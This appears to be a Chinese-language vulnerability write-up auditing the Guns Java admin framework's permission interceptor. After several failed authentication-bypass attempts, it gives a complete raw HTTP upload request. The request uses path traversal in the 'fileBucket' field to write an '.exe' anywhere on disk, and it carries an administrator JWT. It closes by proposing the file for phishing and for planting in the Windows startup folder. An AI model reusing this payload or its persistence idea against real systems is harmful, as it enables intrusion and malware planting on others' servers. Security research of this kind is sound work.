下载地址:
主项目:https://gitee.com/stylefeng/guns
核心包:https://gitee.com/stylefeng/roses
分析认证逻辑
找个正常的接口访问,发现没有自定义filter,
我们大概看一下spring的filter执行流程是咋样的,
可以看到这里有6个filter,但是从上面的堆栈图可以看出,
有些filter执行的是他父类的doFilterInternal方法、父类的doFilter方法,
本来以为是实现了WebSecurityConfigurerAdapter接口,结果并没有,
发现此系统是实现了HandlerInterceptor接口进行权限认证的,
分析TokenAndPermissionInterceptor拦截器,
这里使用getRequestURI()后,就开始匹配路由是否被拦截,
这里是不拦截的路由,
之后判断如果存在token,就会验证token是否有效,无效则报错,
如果不存在token,就在resourceServiceApi中查找路由资源,
并判断访问的路由是否需要权限验证,
权限绕过思路:
白名单路由可以用../绕过,不过最后还是会被spring拦住,(这里可以用%2e%2e\绕过,不过存在tomcat环境,直接报错)
jwt不是硬编码在本地的,秘钥没有通用性,伪造token不行,
resourceServiceApi会调用到以下函数,
resourcecache存在一些接口资源,可以访问一些未授权的接口,
在resourcecache中的接口,利用@GetResource注释设置了requiredLogin = false,就不需要认证,
分析这些未授权接口后,没有一个接口有洞,就很尴尬,,,
任意文件上传
这里可以任意文件上传,不管更改fileBucket或者filename,总会用fieldid拼接文件路径,
因此可以控制文件名,那么文件夹就是fieldid,
如果控制文件夹,那么文件名就是fieldid.后缀,
如以下数据包,任意文件上传,不过文件名不可控,
POST /api/sysFileInfo/upload HTTP/1.1
Host: 192.168.91.130:9000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:127.0) Gecko/20100101 Firefox/127.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://192.168.91.1:9000/system/structure/user
Authorization: eyJhbGciOiJIUzUxMiJ9.eyJ1c2VySWQiOjEzMzk1NTA0Njc5Mzk2MzkyOTksImFjY291bnQiOiJhZG1pbiIsInV1aWQiOiI1NmQzZjczNy1hNjU1LTRjYzgtODRkNi0xNDdjYTE1M2Y5OGIiLCJyZW1lbWJlck1lIjpmYWxzZSwiZXhwaXJhdGlvbkRhdGUiOjE3MzUxMDM0MDM0ODgsImNhVG9rZW4iOm51bGwsIm90aGVycyI6bnVsbCwic3ViIjoiMTMzOTU1MDQ2NzkzOTYzOTI5OSIsImlhdCI6MTczNDQ5ODYwMywiZXhwIjoxNzM1MTAzNDAzfQ.Ur3bUwltSXWUtIT1OOR4MV4frJeRy_MDEkmYg99F5L2DOx6C4ha_y476dTWMy7gAJZsq5x_2C_VEkWxWv7uHXw
Content-Type: multipart/form-data; boundary=---------------------------4047569836919132683218702
Content-Length: 510
Origin: http://192.168.91.130:9000
Connection: close
-----------------------------4047569836919132683218702
Content-Disposition: form-data; name="file"; filename=".exe"
Content-Type: image/png
1111
-----------------------------4047569836919132683218702
Content-Disposition: form-data; name="secretFlag"
N
-----------------------------4047569836919132683218702
Content-Disposition: form-data; name="fileBucket"
../../../../../../../../../../../../../../../../../../看到请点击exe备份
-----------------------------4047569836919132683218702--
可以用在钓鱼,如果项目在c盘,可以放到启动项中,
这里可以看到是在哪个盘,